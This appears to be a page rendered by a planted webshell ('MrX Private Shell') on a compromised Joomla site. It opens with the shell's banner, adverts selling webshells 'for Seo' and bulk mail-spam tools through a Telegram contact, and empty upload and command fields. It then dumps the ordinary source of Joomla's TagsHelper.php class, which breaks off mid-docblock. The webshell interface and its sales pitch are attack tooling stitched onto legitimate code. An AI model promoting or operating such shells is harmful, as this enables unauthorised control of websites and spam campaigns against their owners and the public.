__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
<?php

/**
 * Joomla! Content Management System
 *
 * @copyright  (C) 2013 Open Source Matters, Inc. <https://www.joomla.org>
 * @license    GNU General Public License version 2 or later; see LICENSE.txt
 */

namespace Joomla\CMS\Helper;

use Joomla\CMS\Component\ComponentHelper;
use Joomla\CMS\Factory;
use Joomla\CMS\Table\CoreContent;
use Joomla\CMS\Table\Table;
use Joomla\CMS\Table\TableInterface;
use Joomla\Database\DatabaseInterface;
use Joomla\Database\ParameterType;
use Joomla\Utilities\ArrayHelper;

// phpcs:disable PSR1.Files.SideEffects
\defined('_JEXEC') or die;
// phpcs:enable PSR1.Files.SideEffects

/**
 * Tags helper class, provides methods to perform various tasks relevant
 * tagging of content.
 *
 * @since  3.1
 */
class TagsHelper extends CMSHelper
{
    /**
     * Helper object for storing and deleting tag information.
     *
     * @var    boolean
     * @since  3.1
     */
    protected $tagsChanged = false;

    /**
     * Whether up replace all tags or just add tags
     *
     * @var    boolean
     * @since  3.1
     */
    protected $replaceTags = false;

    /**
     * Alias for querying mapping and content type table.
     *
     * @var    string
     * @since  3.1
     */
    public $typeAlias;

    /**
     * Array of item tags.
     *
     * @var    array
     * @since  3.1
     */
    public $itemTags;

    /**
     * The tags as comma separated string or array.
     *
     * @var    mixed
     * @since  4.3.0
     */
    public $tags;

    /**
     * The new tags as comma separated string or array.
     *
     * @var    mixed
     * @since  4.3.0
     */
    public $newTags;

    /**
     * The old tags as comma separated string or array.
     *
     * @var    mixed
     * @since  4.3.0
     */
    public $oldTags;

    /**
     * Method to add tag rows to mapping table.
     *
     * @param   integer         $ucmId  ID of the #__ucm_content item being tagged
     * @param   TableInterface  $table  Table object being tagged
     * @param   array           $tags   Array of tags to be applied.
     *
     * @return  boolean  true on success, otherwise false.
     *
     * @since   3.1
     */
    public function addTagMapping($ucmId, TableInterface $table, $tags = [])
    {
        $db     = $table->getDbo();
        $key    = $table->getKeyName();
        $item   = $table->$key;
        $query  = $db->getQuery(true)
            ->select($db->quoteName('ct') . '.type_id')
            ->from($db->quoteName('#__content_types', 'ct'))
            ->where($db->quoteName('ct.type_alias') . ' = :alias')
            ->bind(':alias', $this->typeAlias);

        $db->setQuery($query);
        $typeId = $db->loadResult();

        // Insert the new tag maps
        if (str_contains(implode(',', $tags), '#')) {
            $tags = $this->createTagsFromField($tags);
        }

        // Prevent saving duplicate tags
        $tags = array_values(array_unique($tags));

        if (!$tags) {
            return true;
        }

        $query = $db->getQuery(true);
        $query->insert('#__contentitem_tag_map');
        $query->columns(
            [
                $db->quoteName('core_content_id'),
                $db->quoteName('content_item_id'),
                $db->quoteName('tag_id'),
                $db->quoteName('type_id'),
                $db->quoteName('type_alias'),
                $db->quoteName('tag_date'),
            ]
        );

        foreach ($tags as $tag) {
            $query->values(
                implode(
                    ',',
                    array_merge(
                        $query->bindArray([(int) $ucmId, (int) $item, (int) $tag, (int) $typeId]),
                        $query->bindArray([$this->typeAlias], ParameterType::STRING),
                        [$query->currentTimestamp()]
                    )
                )
            );
        }

        $db->setQuery($query);

        return (bool) $db->execute();
    }

    /**
     * Function that converts tags paths into paths of names
     *
     * @param   array  $tags  Array of tags
     *
     * @return  array
     *
     * @since   3.1
     */
    public static function convertPathsToNames($tags)
    {
        // We will replace path aliases with tag names
        if ($tags) {
            // Create an array with all the aliases of the results
            $aliases = [];

            foreach ($tags as $tag) {
                if (!empty($tag->path)) {
                    if ($pathParts = explode('/', $tag->path)) {
                        $aliases = array_merge($aliases, $pathParts);
                    }
                }
            }

            // Get the aliases titles in one single query and map the results
            if ($aliases) {
                // Remove duplicates
                $aliases = array_values(array_unique($aliases));

                $db = Factory::getDbo();

                $query = $db->getQuery(true)
                    ->select(
                        [
                            $db->quoteName('alias'),
                            $db->quoteName('title'),
                        ]
                    )
                    ->from($db->quoteName('#__tags'))
                    ->whereIn($db->quoteName('alias'), $aliases, ParameterType::STRING);
                $db->setQuery($query);

                try {
                    $aliasesMapper = $db->loadAssocList('alias');
                } catch (\RuntimeException) {
                    return false;
                }

                // Rebuild the items path
                if ($aliasesMapper) {
                    foreach ($tags as $tag) {
                        $namesPath = [];

                        if (!empty($tag->path)) {
                            if ($pathParts = explode('/', $tag->path)) {
                                foreach ($pathParts as $alias) {
                                    if (isset($aliasesMapper[$alias])) {
                                        $namesPath[] = $aliasesMapper[$alias]['title'];
                                    } else {
                                        $namesPath[] = $alias;
                                    }
                                }

                                $tag->text = implode('/', $namesPath);
                            }
                        }
                    }
                }
            }
        }

        return $tags;
    }

    /**
     * Create any new tags by looking for #new# in the strings
     *
     * @param   array  $tags  Tags text array from the field
     *
     * @return  mixed   If successful, metadata with new tag titles replaced by tag ids. Otherwise false.
     *
     * @since   3.1
     */
    public function createTagsFromField($tags)
    {
        if (empty($tags) || $tags[0] == '') {
            return;
        }

        // We will use the tags table to store them
        $tagTable  = Factory::getApplication()->bootComponent('com_tags')->getMVCFactory()->createTable('Tag', 'Administrator');
        $newTags   = [];
        $canCreate = Factory::getUser()->authorise('core.create', 'com_tags');

        foreach ($tags as $key => $tag) {
            // User is not allowed to create tags, so don't create.
            if (!$canCreate && str_contains($tag, '#new#')) {
                continue;
            }

            // Remove the #new# prefix that identifies new tags
            $tagText = str_replace('#new#', '', $tag);

            if ($tagText === $tag) {
                $newTags[] = (int) $tag;
            } else {
                // Clear old data if exist
                $tagTable->reset();

                // Try to load the selected tag
                if ($tagTable->load(['title' => $tagText])) {
                    $newTags[] = (int) $tagTable->id;
                } else {
                    // Prepare tag data
                    $tagTable->id          = 0;
                    $tagTable->title       = $tagText;
                    $tagTable->published   = 1;
                    $tagTable->description = '';

                    // $tagTable->language = property_exists ($item, 'language') ? $item->language : '*';
                    $tagTable->language = '*';
                    $tagTable->access   = 1;

                    // Make this item a child of the root tag
                    $tagTable->setLocation($tagTable->getRootId(), 'last-child');

                    // Try to store tag
                    if ($tagTable->check()) {
                        // Assign the alias as path (autogenerated tags have always level 1)
                        $tagTable->path = $tagTable->alias;

                        if ($tagTable->store()) {
                            $newTags[] = (int) $tagTable->id;
                        }
                    }
                }
            }
        }

        // At this point $tags is an array of all tag ids
        $this->tags = $newTags;
        $result     = $newTags;

        return $result;
    }

    /**
     * Method to delete the tag mappings and #__ucm_content record for an item
     *
     * @param   TableInterface  $table          Table object of content table where delete occurred
     * @param   integer|array   $contentItemId  ID of the content item. Or an array of key/value pairs with array key
     *                                          being a primary key name and value being the content item ID. Note
     *                                          multiple primary keys are not supported
     *
     * @return  boolean  true on success, false on failure
     *
     * @since   3.1
     * @throws  \InvalidArgumentException
     */
    public function deleteTagData(TableInterface $table, $contentItemId)
    {
        $key = $table->getKeyName();

        if (!\is_array($contentItemId)) {
            $contentItemId = [$key => $contentItemId];
        }

        // If we have multiple items for the content item primary key we currently don't support this so
        // throw an InvalidArgumentException for now
        if (\count($contentItemId) != 1) {
            throw new \InvalidArgumentException('Multiple primary keys are not supported as a content item id');
        }

        $result = $this->unTagItem($contentItemId[$key], $table);

        /** @var  CoreContent $coreContentTable */
        $coreContentTable = Table::getInstance('CoreContent');

        return $result && $coreContentTable->deleteByContentId($contentItemId[$key], $this->typeAlias);
    }

    /**
     * Method to get a list of tags for an item, optionally with the tag data.
     *
     * @param   string   $contentType  Content type alias. Dot separated.
     * @param   integer  $id           Id of the item to retrieve tags for.
     * @param   boolean  $getTagData   If true, data from the tags table will be included, defaults to true.
     *
     * @return  array    Array of tag objects
     *
     * @since   3.1
     */
    public function getItemTags($contentType, $id, $getTagData = true)
    {
        // Cast as integer until method is typehinted.
        $id = (int) $id;

        // Initialize some variables.
        $db    = Factory::getDbo();
        $query = $db->getQuery(true)
            ->select($db->quoteName('m.tag_id'))
            ->from($db->quoteName('#__contentitem_tag_map', 'm'))
            ->where(
                [
                    $db->quoteName('m.type_alias') . ' = :contentType',
                    $db->quoteName('m.content_item_id') . ' = :id',
                    $db->quoteName('t.published') . ' = 1',
                ]
            )
            ->bind(':contentType', $contentType)
            ->bind(':id', $id, ParameterType::INTEGER);

        $user   = Factory::getUser();
        $groups = $user->getAuthorisedViewLevels();

        $query->whereIn($db->quoteName('t.access'), $groups);

        // Optionally filter on language
        $language = ComponentHelper::getParams('com_tags')->get('tag_list_language_filter', 'all');

        if ($language !== 'all') {
            if ($language === 'current_language') {
                $language = $this->getCurrentLanguage();
            }

            $query->whereIn($db->quoteName('language'), [$language, '*'], ParameterType::STRING);
        }

        if ($getTagData) {
            $query->select($db->quoteName('t') . '.*');
        }

        $query->join('INNER', $db->quoteName('#__tags', 't'), $db->quoteName('m.tag_id') . ' = ' . $db->quoteName('t.id'));

        $db->setQuery($query);
        $this->itemTags = $db->loadObjectList();

        return $this->itemTags;
    }

    /**
     * Method to get a list of tags for multiple items, optionally with the tag data.
     *
     * @param   string   $contentType  Content type alias. Dot separated.
     * @param   array    $ids          Id of the item to retrieve tags for.
     * @param   boolean  $getTagData   If true, data from the tags table will be included, defaults to true.
     *
     * @return  array    Array of tag objects grouped by Id.
     *
     * @since   4.2.0
     */
    public function getMultipleItemTags($contentType, array $ids, $getTagData = true)
    {
        $data = [];

        $ids = array_map('intval', $ids);

        /** @var DatabaseInterface $db */
        $db = Factory::getContainer()->get(DatabaseInterface::class);

        $query = $db->getQuery(true)
            ->select($db->quoteName(['m.tag_id', 'm.content_item_id']))
            ->from($db->quoteName('#__contentitem_tag_map', 'm'))
            ->where(
                [
                    $db->quoteName('m.type_alias') . ' = :contentType',
                    $db->quoteName('t.published') . ' = 1',
                ]
            )
            ->whereIn($db->quoteName('m.content_item_id'), $ids)
            ->bind(':contentType', $contentType);

        $query->join('INNER', $db->quoteName('#__tags', 't'), $db->quoteName('m.tag_id') . ' = ' . $db->quoteName('t.id'));

        $groups = Factory::getUser()->getAuthorisedViewLevels();

        $query->whereIn($db->quoteName('t.access'), $groups);

        // Optionally filter on language
        $language = ComponentHelper::getParams('com_tags')->get('tag_list_language_filter', 'all');

        if ($language !== 'all') {
            if ($language === 'current_language') {
                $language = $this->getCurrentLanguage();
            }

            $query->whereIn($db->quoteName('language'), [$language, '*'], ParameterType::STRING);
        }

        if ($getTagData) {
            $query->select($db->quoteName('t') . '.*');
        }

        $db->setQuery($query);

        $rows = $db->loadObjectList();

        // Group data by item Id.
        foreach ($rows as $row) {
            $data[$row->content_item_id][] = $row;
            unset($row->content_item_id);
        }

        return $data;
    }

    /**
     * Method to get a list of tags for a given item.
     * Normally used for displaying a list of tags within a layout
     *
     * @param   mixed   $ids     The id or array of ids (primary key) of the item to be tagged.
     * @param   string  $prefix  Dot separated string with the option and view to be used for a url.
     *
     * @return  string   Comma separated list of tag Ids.
     *
     * @since   3.1
     */
    public function getTagIds($ids, $prefix)
    {
        if (empty($ids)) {
            return;
        }

        /**
         * Ids possible formats:
         * ---------------------
         *  $id = 1;
         *  $id = array(1,2);
         *  $id = array('1,3,4,19');
         *  $id = '1,3';
         */
        $ids = (array) $ids;
        $ids = implode(',', $ids);
        $ids = explode(',', $ids);
        $ids = ArrayHelper::toInteger($ids);

        $db = Factory::getDbo();

        // Load the tags.
        $query = $db->getQuery(true)
            ->select($db->quoteName('t.id'))
            ->from($db->quoteName('#__tags', 't'))
            ->join('INNER', $db->quoteName('#__contentitem_tag_map', 'm'), $db->quoteName('m.tag_id') . ' = ' . $db->quoteName('t.id'))
            ->where($db->quoteName('m.type_alias') . ' = :prefix')
            ->whereIn($db->quoteName('m.content_item_id'), $ids)
            ->bind(':prefix', $prefix);

        $db->setQuery($query);

        // Add the tags to the content data.
        $tagsList   = $db->loadColumn();
        $this->tags = implode(',', $tagsList);

        return $this->tags;
    }

    /**
     * Method to get a query to retrieve a detailed list of items for a tag.
     *
     * @param   mixed    $tagId            Tag or array of tags to be matched
     * @param   mixed    $typesr           Null, type or array of type aliases for content types to be included in the results
     * @param   boolean  $includeChildren  True to include the results from child tags
     * @param   string   $orderByOption    Column to order the results by
     * @param   string   $orderDir         Direction to sort the results in
     * @param   boolean  $anyOrAll         True to include items matching at least one tag, false to include
     *                                     items all tags in the array.
     * @param   string   $languageFilter   Optional filter on language. Options are 'all', 'current' or any string.
     * @param   string   $stateFilter      Optional filtering on publication state, defaults to published or unpublished.
     *
     * @return  \Joomla\Database\DatabaseQuery  Query to retrieve a list of tags
     *
     * @since   3.1
     */
    public function getTagItemsQuery(
        $tagId,
        $typesr = null,
        $includeChildren = false,
        $orderByOption = 'c.core_title',
        $orderDir = 'ASC',
        $anyOrAll = true,
        $languageFilter = 'all',
        $stateFilter = '0,1'
    ) {
        // Create a new query object.
        $db       = Factory::getDbo();
        $query    = $db->getQuery(true);
        $user     = Factory::getUser();
        $nullDate = $db->getNullDate();
        $nowDate  = Factory::getDate()->toSql();

        // Force ids to array and sanitize
        $tagIds = (array) $tagId;
        $tagIds = implode(',', $tagIds);
        $tagIds = explode(',', $tagIds);
        $tagIds = ArrayHelper::toInteger($tagIds);

        $ntagsr = \count($tagIds);

        // If we want to include children we have to adjust the list of tags.
        // We do not search child tags when the match all option is selected.
        if ($includeChildren) {
            $tagTreeArray = [];

            foreach ($tagIds as $tag) {
                $this->getTagTreeArray($tag, $tagTreeArray);
            }

            $tagIds = array_values(array_unique(array_merge($tagIds, $tagTreeArray)));
        }

        // Sanitize filter states
        $stateFilters = explode(',', $stateFilter);
        $stateFilters = ArrayHelper::toInteger($stateFilters);

        // M is the mapping table. C is the core_content table. Ct is the content_types table.
        $query->select(
            [
                $db->quoteName('m.type_alias'),
                $db->quoteName('m.content_item_id'),
                $db->quoteName('m.core_content_id'),
                'COUNT(' . $db->quoteName('m.tag_id') . ') AS ' . $db->quoteName('match_count'),
                'MAX(' . $db->quoteName('m.tag_date') . ') AS ' . $db->quoteName('tag_date'),
                'MAX(' . $db->quoteName('c.core_title') . ') AS ' . $db->quoteName('core_title'),
                'MAX(' . $db->quoteName('c.core_params') . ') AS ' . $db->quoteName('core_params'),
                'MAX(' . $db->quoteName('c.core_alias') . ') AS ' . $db->quoteName('core_alias'),
                'MAX(' . $db->quoteName('c.core_body') . ') AS ' . $db->quoteName('core_body'),
                'MAX(' . $db->quoteName('c.core_state') . ') AS ' . $db->quoteName('core_state'),
                'MAX(' . $db->quoteName('c.core_access') . ') AS ' . $db->quoteName('core_access'),
                'MAX(' . $db->quoteName('c.core_metadata') . ') AS ' . $db->quoteName('core_metadata'),
                'MAX(' . $db->quoteName('c.core_created_user_id') . ') AS ' . $db->quoteName('core_created_user_id'),
                'MAX(' . $db->quoteName('c.core_created_by_alias') . ') AS' . $db->quoteName('core_created_by_alias'),
                'MAX(' . $db->quoteName('c.core_created_time') . ') AS ' . $db->quoteName('core_created_time'),
                'MAX(' . $db->quoteName('c.core_images') . ') AS ' . $db->quoteName('core_images'),
                'CASE WHEN ' . $db->quoteName('c.core_modified_time') . ' = :nullDate THEN ' . $db->quoteName('c.core_created_time')
                . ' ELSE ' . $db->quoteName('c.core_modified_time') . ' END AS ' . $db->quoteName('core_modified_time'),
                'MAX(' . $db->quoteName('c.core_language') . ') AS ' . $db->quoteName('core_language'),
                'MAX(' . $db->quoteName('c.core_catid') . ') AS ' . $db->quoteName('core_catid'),
                'MAX(' . $db->quoteName('c.core_publish_up') . ') AS ' . $db->quoteName('core_publish_up'),
                'MAX(' . $db->quoteName('c.core_publish_down') . ') AS ' . $db->quoteName('core_publish_down'),
                'MAX(' . $db->quoteName('ct.type_title') . ') AS ' . $db->quoteName('content_type_title'),
                'MAX(' . $db->quoteName('ct.router') . ') AS ' . $db->quoteName('router'),
                'MAX(' . $db->quoteName('tc.title') . ') AS ' . $db->quoteName('core_category_title'),
                'CASE WHEN ' . $db->quoteName('c.core_created_by_alias') . ' > ' . $db->quote(' ')
                . ' THEN ' . $db->quoteName('c.core_created_by_alias') . ' ELSE ' . $db->quoteName('ua.name') . ' END AS ' . $db->quoteName('author'),
                $db->quoteName('ua.email', 'author_email'),
            ]
        )
            ->bind(':nullDate', $nullDate)
            ->from($db->quoteName('#__contentitem_tag_map', 'm'))
            ->join(
                'INNER',
                $db->quoteName('#__ucm_content', 'c'),
                $db->quoteName('m.type_alias') . ' = ' . $db->quoteName('c.core_type_alias')
                . ' AND ' . $db->quoteName('m.core_content_id') . ' = ' . $db->quoteName('c.core_content_id')
            )
            ->join('INNER', $db->quoteName('#__content_types', 'ct'), $db->quoteName('ct.type_alias') . ' = ' . $db->quoteName('m.type_alias'));

        // Join over categories to get only tags from published categories
        $query->join('LEFT', $db->quoteName('#__categories', 'tc'), $db->quoteName('tc.id') . ' = ' . $db->quoteName('c.core_catid'));

        // Join over the users for the author and email
        $query->join('LEFT', $db->quoteName('#__users', 'ua'), $db->quoteName('ua.id') . ' = ' . $db->quoteName('c.core_created_user_id'))
            ->whereIn($db->quoteName('c.core_state'), $stateFilters)
            ->whereIn($db->quoteName('m.tag_id'), $tagIds)
            ->extendWhere(
                'AND',
                [
                    $db->quoteName('c.core_catid') . ' = 0',
                    $db->quoteName('tc.published') . ' = 1',
                ],
                'OR'
            );

        // Get the type data, limited to types in the request if there are any specified.
        $typesarray  = self::getTypes('assocList', $typesr, false);
        $typeAliases = array_column($typesarray, 'type_alias');
        $query->whereIn($db->quoteName('m.type_alias'), $typeAliases, ParameterType::STRING);

        $groups   = array_values(array_unique($user->getAuthorisedViewLevels()));
        $groups[] = 0;
        $query->whereIn($db->quoteName('c.core_access'), $groups);

        if (!\in_array(0, $stateFilters, true)) {
            $query->extendWhere(
                'AND',
                [
                    $db->quoteName('c.core_publish_up') . ' = :nullDate1',
                    $db->quoteName('c.core_publish_up') . ' IS NULL',
                    $db->quoteName('c.core_publish_up') . ' <= :nowDate1',
                ],
                'OR'
            )
                ->extendWhere(
                    'AND',
                    [
                        $db->quoteName('c.core_publish_down') . ' = :nullDate2',
                        $db->quoteName('c.core_publish_down') . ' IS NULL',
                        $db->quoteName('c.core_publish_down') . ' >= :nowDate2',
                    ],
                    'OR'
                )
                ->bind([':nullDate1', ':nullDate2'], $nullDate)
                ->bind([':nowDate1', ':nowDate2'], $nowDate);
        }

        // Optionally filter on language
        if ($languageFilter !== 'all') {
            if ($languageFilter === 'current_language') {
                $languageFilter = $this->getCurrentLanguage();
            }

            $query->whereIn($db->quoteName('c.core_language'), [$languageFilter, '*'], ParameterType::STRING);
        }

        $query->group(
            [
                $db->quoteName('m.type_alias'),
                $db->quoteName('m.content_item_id'),
                $db->quoteName('m.core_content_id'),
                $db->quoteName('core_modified_time'),
                $db->quoteName('core_created_time'),
                $db->quoteName('core_created_by_alias'),
                $db->quoteName('author'),
                $db->quoteName('author_email'),
            ]
        );

        // Use HAVING if matching all tags and we are matching more than one tag.
        if ($ntagsr > 1 && $anyOrAll != 1 && $includeChildren != 1) {
            // The number of results should equal the number of tags requested.
            $query->having('COUNT(' . $db->quoteName('m.tag_id') . ') = :ntagsr')
                ->bind(':ntagsr', $ntagsr, ParameterType::INTEGER);
        }

        // Set up the order by using the option chosen
        if ($orderByOption === 'match_count') {
            $orderBy = 'COUNT(' . $db->quoteName('m.tag_id') . ')';
        } else {
            $orderBy = 'MAX(' . $db->quoteName($orderByOption) . ')';
        }

        $query->order($orderBy . ' ' . $orderDir);

        return $query;
    }

    /**
     * Function that converts tag ids to their tag names
     *
     * @param   array  $tagIds  Array of integer tag ids.
     *
     * @return  array  An array of tag names.
     *
     * @since   3.1
     */
    public function getTagNames($tagIds)
    {
        $tagNames = [];

        if (\is_array($tagIds) && \count($tagIds) > 0) {
            $tagIds = ArrayHelper::toInteger($tagIds);

            $db    = Factory::getDbo();
            $query = $db->getQuery(true)
                ->select($db->quoteName('title'))
                ->from($db->quoteName('#__tags'))
                ->whereIn($db->quoteName('id'), $tagIds)
                ->order($db->quoteName('title'));

            $db->setQuery($query);
            $tagNames = $db->loadColumn();
        }

        return $tagNames;
    }

    /**
     * Method to get an array of tag ids for the current tag and its children
     *
     * @param   integer  $id             An optional ID
     * @param   array    &$tagTreeArray  Array containing the tag tree
     *
     * @return  mixed
     *
     * @since   3.1
     */
    public function getTagTreeArray($id, &$tagTreeArray = [])
    {
        // Get a level row instance.
        $table = Factory::getApplication()->bootComponent('com_tags')->getMVCFactory()->createTable('Tag', 'Administrator');

        if ($table->isLeaf($id)) {
            $tagTreeArray[] = $id;

            return $tagTreeArray;
        }

        $tagTree = $table->getTree($id);

        // Attempt to load the tree
        if ($tagTree) {
            foreach ($tagTree as $tag) {
                $tagTreeArray[] = $tag->id;
            }

            return $tagTreeArray;
        }
    }

    /**
     * Method to get a list of types with associated data.
     *
     * @param   string   $arrayType    Optionally specify that the returned list consist of objects, associative arrays, or arrays.
     *                                 Options are: rowList, assocList, and objectList
     * @param   array    $selectTypes  Optional array of type ids or aliases to limit the results to. Often from a request.
     * @param   boolean  $useAlias     If true, the alias is used to match, if false the type_id is used.
     *
     * @return  array   Array of types
     *
     * @since   3.1
     */
    public static function getTypes($arrayType = 'objectList', $selectTypes = null, $useAlias = true)
    {
        // Initialize some variables.
        $db    = Factory::getDbo();
        $query = $db->getQuery(true)
            ->select('*');

        if (!empty($selectTypes)) {
            $selectTypes = (array) $selectTypes;

            if ($useAlias) {
                $query->whereIn($db->quoteName('type_alias'), $selectTypes, ParameterType::STRING);
            } else {
                $selectTypes = ArrayHelper::toInteger($selectTypes);

                $query->whereIn($db->quoteName('type_id'), $selectTypes);
            }
        }

        $query->from($db->quoteName('#__content_types'));

        $db->setQuery($query);

        switch ($arrayType) {
            case 'assocList':
                $types = $db->loadAssocList();
                break;

            case 'rowList':
                $types = $db->loadRowList();
                break;

            case 'objectList':
            default:
                $types = $db->loadObjectList();
                break;
        }

        return $types;
    }

    /**
     * Function that handles saving tags used in a table class after a store()
     *
     * @param   TableInterface  $table    Table being processed
     * @param   array           $newTags  Array of new tags
     * @param   boolean         $replace  Flag indicating if all existing tags should be replaced
     *
     * @return  boolean
     *
     * @since   3.1
     *
     * @deprecated  5.3 will be removed in 7.0
     */
    public function postStoreProcess(TableInterface $table, $newTags = [], $replace = true)
    {
        if (!empty($table->newTags) && empty($newTags)) {
            $newTags = $table->newTags;
        }

        // If existing row, check to see if tags have changed.
        $newTable = clone $table;
        $newTable->reset();

        $result = true;

        // Process ucm_content and ucm_base if either tags have changed or we have some tags.
        if ($this->tagsChanged || (!empty($newTags) && $newTags[0] != '')) {
            if (!$newTags && $replace) {
                // Delete all tags data
                $key    = $table->getKeyName();
                $result = $this->deleteTagData($table, $table->$key);
            } else {
                // Process the tags
                $data             = $this->getRowData($table);
                $coreContentTable = Table::getInstance('CoreContent');
                $db               = Factory::getDbo();

                $query = $db->getQuery(true)
                    ->select($db->quoteName('ct') . '.*')
                    ->from($db->quoteName('#__content_types', 'ct'))
                    ->where($db->quoteName('ct.type_alias') . ' = :alias')
                    ->bind(':alias', $this->typeAlias);

                $db->setQuery($query);

                $contentType = $db->loadObject();

                $fields = json_decode($contentType->field_mappings);

                $ucmData = [];

                $common = \is_object($fields->common) ? $fields->common : $fields->common[0];

                foreach ($common as $i => $field) {
                    if ($field && $field !== 'null' && \array_key_exists($field, $data)) {
                        $ucmData['common'][$i] = $data[$field];
                    }
                }

                if (\array_key_exists('special', $ucmData)) {
                    $special = \is_object($fields->special) ? $fields->special : $fields->special[0];

                    foreach ($special as $i => $field) {
                        if ($field && $field !== 'null' && \array_key_exists($field, $data)) {
                            $ucmData['special'][$i] = $data[$field];
                        }
                    }
                }

                $ucmData['common']['core_type_alias'] = $contentType->type_alias;
                $ucmData['common']['core_type_id']    = $contentType->type_id;

                if (isset($ucmData['special'])) {
                    $ucmData['special']['ucm_id'] = $ucmData['common']['ucm_id'];
                }

                $query = $db->getQuery(true)
                    ->select($db->quoteName('ucm_id'))
                    ->from($db->quoteName('#__ucm_base'))
                    ->where(
                        [
                            $db->quoteName('ucm_item_id') . ' = :itemId',
                            $db->quoteName('ucm_type_id') . ' = :typeId',
                        ]
                    )
                    ->bind(':itemId', $ucmData['common']['core_content_item_id'], ParameterType::INTEGER)
                    ->bind(':typeId', $ucmData['common']['core_type_id'], ParameterType::INTEGER);
                $db->setQuery($query);

                $primaryId = $db->loadResult();
                $result    = $coreContentTable->load($primaryId);
                $result    = $result && $coreContentTable->bind($ucmData['common']);
                $result    = $result && $coreContentTable->check();
                $result    = $result && $coreContentTable->store();
                $ucmId     = $coreContentTable->core_content_id;

                // Store the tag data if the article data was saved and run related methods.
                $result = $result && $this->tagItem($ucmId, $table, $newTags, $replace);
            }
        }

        return $result;
    }

    /**
     * Function that preProcesses data from a table prior to a store() to ensure proper tag handling
     *
     * @param   TableInterface  $table    Table being processed
     * @param   array           $newTags  Array of new tags
     *
     * @return  null
     *
     * @since   3.1
     */
    public function preStoreProcess(TableInterface $table, $newTags = [])
    {
        if ($newTags != []) {
            $this->newTags = $newTags;
        }

        // If existing row, check to see if tags have changed.
        $oldTable = clone $table;
        $oldTable->reset();
        $key       = $oldTable->getKeyName();
        $typeAlias = $this->typeAlias;

        if ($oldTable->$key && $oldTable->load()) {
            $this->oldTags = $this->getTagIds($oldTable->$key, $typeAlias);
        }

        // New items with no tags bypass this step.
        if ((!empty($newTags) && \is_string($newTags) || (isset($newTags[0]) && $newTags[0] != '')) || isset($this->oldTags)) {
            if (\is_array($newTags)) {
                $newTags = implode(',', $newTags);
            }

            // We need to process tags if the tags have changed or if we have a new row
            $this->tagsChanged = (empty($this->oldTags) && !empty($newTags)) || (!empty($this->oldTags) && $this->oldTags != $newTags) || !$table->$key;
        }
    }

    /**
     * Function to search tags
     *
     * @param   array  $filters  Filter to apply to the search
     *
     * @return  array
     *
     * @since   3.1
     */
    public static function searchTags($filters = [])
    {
        $db    = Factory::getDbo();
        $query = $db->getQuery(true)
            ->select(
                [
                    $db->quoteName('a.id', 'value'),
                    $db->quoteName('a.path', 'text'),
                    $db->quoteName('a.path'),
                ]
            )
            ->from($db->quoteName('#__tags', 'a'))
            ->join(
                'LEFT',
                $db->quoteName('#__tags', 'b'),
                $db->quoteName('a.lft') . ' > ' . $db->quoteName('b.lft') . ' AND ' . $db->quoteName('a.rgt') . ' < ' . $db->quoteName('b.rgt')
            );

        // Do not return root
        $query->where($db->quoteName('a.alias') . ' <> ' . $db->quote('root'));

        // Filter language
        if (!empty($filters['flanguage'])) {
            $query->whereIn($db->quoteName('a.language'), [$filters['flanguage'], '*'], ParameterType::STRING);
        }

        // Search in title or path
        if (!empty($filters['like'])) {
            $search = '%' . $filters['like'] . '%';
            $query->extendWhere(
                'AND',
                [
                    $db->quoteName('a.title') . ' LIKE :search1',
                    $db->quoteName('a.path') . ' LIKE :search2',
                ],
                'OR'
            )
                ->bind([':search1', ':search2'], $search);
        }

        // Filter title
        if (!empty($filters['title'])) {
            $query->where($db->quoteName('a.title') . ' = :title')
                ->bind(':title', $filters['title']);
        }

        // Filter on the published state
        if (isset($filters['published']) && is_numeric($filters['published'])) {
            $published = (int) $filters['published'];
            $query->where($db->quoteName('a.published') . ' = :published')
                ->bind(':published', $published, ParameterType::INTEGER);
        }

        // Filter on the access level
        if (isset($filters['access']) && \is_array($filters['access']) && \count($filters['access'])) {
            $groups = ArrayHelper::toInteger($filters['access']);
            $query->whereIn($db->quoteName('a.access'), $groups);
        }

        // Filter by parent_id
        if (isset($filters['parent_id']) && is_numeric($filters['parent_id'])) {
            $tagTable = Factory::getApplication()->bootComponent('com_tags')->getMVCFactory()->createTable('Tag', 'Administrator');

            if ($children = $tagTable->getTree($filters['parent_id'])) {
                $childrenIds = array_column($children, 'id');

                $query->whereIn($db->quoteName('a.id'), $childrenIds);
            }
        }

        $query->group(
            [
                $db->quoteName('a.id'),
                $db->quoteName('a.title'),
                $db->quoteName('a.level'),
                $db->quoteName('a.lft'),
                $db->quoteName('a.rgt'),
                $db->quoteName('a.parent_id'),
                $db->quoteName('a.published'),
                $db->quoteName('a.path'),
            ]
        )
            ->order($db->quoteName('a.lft') . ' ASC');

        // Get the options.
        $db->setQuery($query);

        try {
            $results = $db->loadObjectList();
        } catch (\RuntimeException) {
            return [];
        }

        // We will replace path aliases with tag names
        return self::convertPathsToNames($results);
    }

    /**
     * Method to delete all instances of a tag from the mapping table. Generally used when a tag is deleted.
     *
     * @param   integer  $tagId  The tag_id (primary key) for the deleted tag.
     *
     * @return  void
     *
     * @since   3.1
     */
    public function tagDeleteInstances($tagId)
    {
        // Cast as integer until method is typehinted.
        $tag_id = (int) $tagId;

        // Delete the old tag maps.
        $db    = Factory::getDbo();
        $query = $db->getQuery(true)
            ->delete($db->quoteName('#__contentitem_tag_map'))
            ->where($db->quoteName('tag_id') . ' = :id')
            ->bind(':id', $tagId, ParameterType::INTEGER);
        $db->setQuery($query);
        $db->execute();
    }

    /**
     * Method to add or update tags associated with an item.
     *
     * @param   integer         $ucmId    Id of the #__ucm_content item being tagged
     * @param   TableInterface  $table    Table object being tagged
     * @param   array           $tags     Array of tags to be applied.
     * @param   boolean         $replace  Flag indicating if all existing tags should be replaced
     *
